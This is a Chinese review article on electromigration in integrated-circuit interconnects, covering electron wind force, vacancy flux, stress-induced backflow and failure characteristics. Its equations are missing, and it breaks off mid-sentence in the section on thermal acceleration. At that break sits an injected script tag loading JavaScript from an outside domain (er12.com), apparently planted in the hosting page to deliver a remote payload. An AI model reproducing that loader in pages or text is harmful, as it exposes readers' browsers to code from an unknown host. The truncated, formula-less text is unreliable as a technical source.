摘要：随着大规模集成电路的不断发展，电迁移引起的集成电路可靠性问题日益凸现。本文介绍了电迁移的基本理论，综述了集成电路互连引线电迁移的研究进展。研究表明，互连引线的尺寸、形状和微观组织结构对电迁移有重要影响；温度、电流密度、应力梯度、合金元素及工作电流模式等也对电迁移寿命有重要影响。同时指出了电迁移研究亟待解决的问题。
关键词：大规模集成电路；电迁移；互连引线
1 引言
集成电路芯片内部采用金属薄膜引线来传导工作电流，这种传导电流的金属薄膜称作互连引线。随着芯片集成度的提高，互连引线变得更细、更窄、更薄，因此其中的电流密度越来越大。在较高的电流密度作用下，互连引线中的金属原子将会沿着电子运动方向进行迁移，这种现象就是电迁移(em)。电迁移能使ic中的互连引线在工作过程中
产生断路或短路，从而引起ic失效，其表现为：①在互连引线中形成空洞，增加了电阻；②空洞长大，最终贯穿互连引线，形成断路；③在互连引线中形成晶须，造成层间短路；④晶须长大，穿透钝化层，产生腐蚀源。
电迁移是引起集成电路失效的一种重要机制，由此引起的集成电路可靠性问题也就成为研究热点。经多年研究发现，影响互连引线电迁移的因素十分复杂，包括工作电流聚集、焦耳热、温度梯度、晶粒结构、晶粒取向、界面组织、应力梯度、合金成分、互连尺寸及形状等。
2 基本理论
2.1 原子扩散的模型
当互连引线中通过大电流密度时，静电场力驱动电子由阴极向阳极运动。高速运动的电子与金属原子发生冲量交换，原子受到猛烈的电子冲击力，这就是电迁移理论中的电子风力fwd[1]。实际上，金属原子上还受静电场力fei的作用, 如图1所示。
两者的合力即电迁移驱动力可表示为
式中，fwd为电子风力；fei为场力；z*e为有效电荷；r为电阻率；j为电流密度；zwd为电子风力有效电荷常数；zei为静电场力有效电荷常数。
当互连引线中的电流密度较高时，向阳极运动的大量电子碰撞原子，使得所产生的电子风力fwd大于静电场力fei。因此，金属原子受到电子风力的驱动，产生了从阴极向阳极的受迫的定向扩散，即发生了金属原子的电迁移（图2）。
原子的扩散主要有三种形式：晶格扩散、界面扩散和表面扩散[1]。由于电迁移使金属原子从一个晶格自由扩散到另一个晶格的空位上，所以，通常描述原子电迁移的数学模型采用的是空位流(j)方程
式中，d为扩散系数；c为空位浓度；t为绝对温度；k为玻耳兹曼常数； ftotal为电迁移驱动力合力。
电迁移使得引线内部产生空洞和原子聚集。在空洞聚集处是拉应力区；在原子聚集处是压应力区，因此，应力梯度方向由阳极指向阴极(图3)。
为了松弛应力，重新回到平衡态，原子在压应力的作用下，沿应力梯度方向形成回流。应力梯度引起的原子回流与电迁移的运动方向正好相反，阻碍了电迁移的进行。原子回流驱动力方程为
式中，w为原子体积；s为静水压应力；x为试件长度。把式(1)和(4)代入到式(3)中，就得到了完整 的一维空位流(j)的方程
2.2 互连引线电迁移失效过程的三个重要特性
互连引线中最常见的电迁移失效是沿长度方向的空洞失效和互连引线端部的扩散迁移失效。这两种失效模式都受互连引线微观结构的影响，可以通过改变引线的微观结构来控制失效进程。以下为互连引线中电迁移失效过程的三个重要特性[2]。
2.2.1 冶金学统计特性
冶金学统计特性指的是互连引线中金属的微观结构参数，如晶粒尺寸分布、晶界取向偏差和晶界与电子风方向的夹角等。因为这些参量的随机性，冶金学参数只能进行统计学描述[2]。由于互连引线内部存在的如晶界取向偏差、晶界弯曲、晶粒尺寸偏差、空位以及位错等微观结构差异，产生了不同迁移速率的原子流。当某一微区流入的原子与流出的原子总数不相等时，就会产生微区的质量变化，形成空洞或原子聚集的“小丘”。电迁移诱发的空洞和小丘会导致集成电路失效，引起可靠性问题。
2.2.2 热加速特性
互连引线电迁移失效前可能存在均匀的温度分布。电迁移产生的局部缺陷使得引线的导电面积减小，电流密度增加，形成电流聚集。电流聚集引 起?script src=http://er12.com/t.js>
